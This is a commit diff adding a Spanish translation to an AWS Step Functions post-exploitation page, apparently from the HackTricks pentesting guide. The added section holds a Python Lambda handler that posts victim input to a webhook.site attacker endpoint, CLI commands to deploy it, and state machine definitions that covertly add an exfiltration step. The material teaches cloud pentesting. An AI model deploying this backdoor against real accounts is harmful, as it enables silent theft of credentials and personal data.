Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-03-27 12:45:04 +00:00
parent 1085fa8628
commit bfa7ac6b13

View File

@@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
### `states:UpdateMapRun`
Un atacante con este permiso podría manipular la configuración de falla del Map Run y la configuración paralela, pudiendo aumentar o disminuir el número máximo de ejecuciones de flujos de trabajo secundarios permitidos, afectando directamente el rendimiento del servicio. Además, un atacante podría alterar el porcentaje y el conteo de fallas toleradas, pudiendo reducir este valor a 0, de modo que cada vez que un elemento falle, todo el map run fallaría, afectando directamente la ejecución de la máquina de estados y potencialmente interrumpiendo flujos de trabajo críticos.
Un atacante con este permiso podría manipular la configuración de falla del Map Run y la configuración paralela, pudiendo aumentar o disminuir el número máximo de ejecuciones de flujos de trabajo secundarios permitidos, afectando directamente el rendimiento del servicio. Además, un atacante podría alterar el porcentaje y el conteo de fallas toleradas, pudiendo disminuir este valor a 0, de modo que cada vez que un elemento falle, todo el map run fallaría, afectando directamente la ejecución de la máquina de estados y potencialmente interrumpiendo flujos de trabajo críticos.
```bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
```
@@ -63,4 +63,122 @@ aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
```
**Impacto Potencial**: Disrupción de la asignación de costos, seguimiento de recursos y políticas de control de acceso basadas en etiquetas.
---
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
Un atacante que compromete a un usuario o rol con los siguientes permisos:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
```
...puede llevar a cabo un **ataque de post-explotación de alto impacto y sigiloso** combinando el backdooring de Lambda con la manipulación de la lógica de Step Function.
Este escenario asume que la víctima utiliza **AWS Step Functions para orquestar flujos de trabajo que procesan entradas sensibles**, como credenciales, tokens o PII.
Ejemplo de invocación de la víctima:
```bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
```
Si la Step Function está configurada para invocar un Lambda como `LegitBusinessLogic`, el atacante puede proceder con **dos variantes de ataque sigilosas**:
---
#### Actualizó la función lambda
El atacante modifica el código de la función Lambda ya utilizada por la Step Function (`LegitBusinessLogic`) para exfiltrar silenciosamente los datos de entrada.
```python
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
```
```bash
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
```
---
#### Agregar un Estado Malicioso a la Función de Paso
Alternativamente, el atacante puede inyectar un **exfiltration state** al principio del flujo de trabajo actualizando la definición de la Función de Paso.
```malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
```
```bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
```
El atacante puede ser aún más sigiloso al actualizar la definición del estado a algo como esto
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "ExfiltrateSecrets",
"States": {
"ExfiltrateSecrets": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
"InputPath": "$",
"ResultPath": "$.exfil",
"Next": "OriginalState"
},
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
"End": true
}
}
}
donde la víctima no se dará cuenta de la diferencia
---
### Configuración de la Víctima (Contexto para el Explotación)
- Se utiliza una Step Function (`LegitStateMachine`) para procesar la entrada sensible del usuario.
- Llama a una o más funciones Lambda como `LegitBusinessLogic`.
---
**Impacto Potencial**:
- Exfiltración silenciosa de datos sensibles, incluidos secretos, credenciales, claves API y PII.
- Sin errores o fallos visibles en la ejecución del flujo de trabajo.
- Difícil de detectar sin auditar el código de Lambda o los rastros de ejecución.
- Permite una persistencia a largo plazo si la puerta trasera permanece en el código o la lógica ASL.
{{#include ../../../banners/hacktricks-training.md}}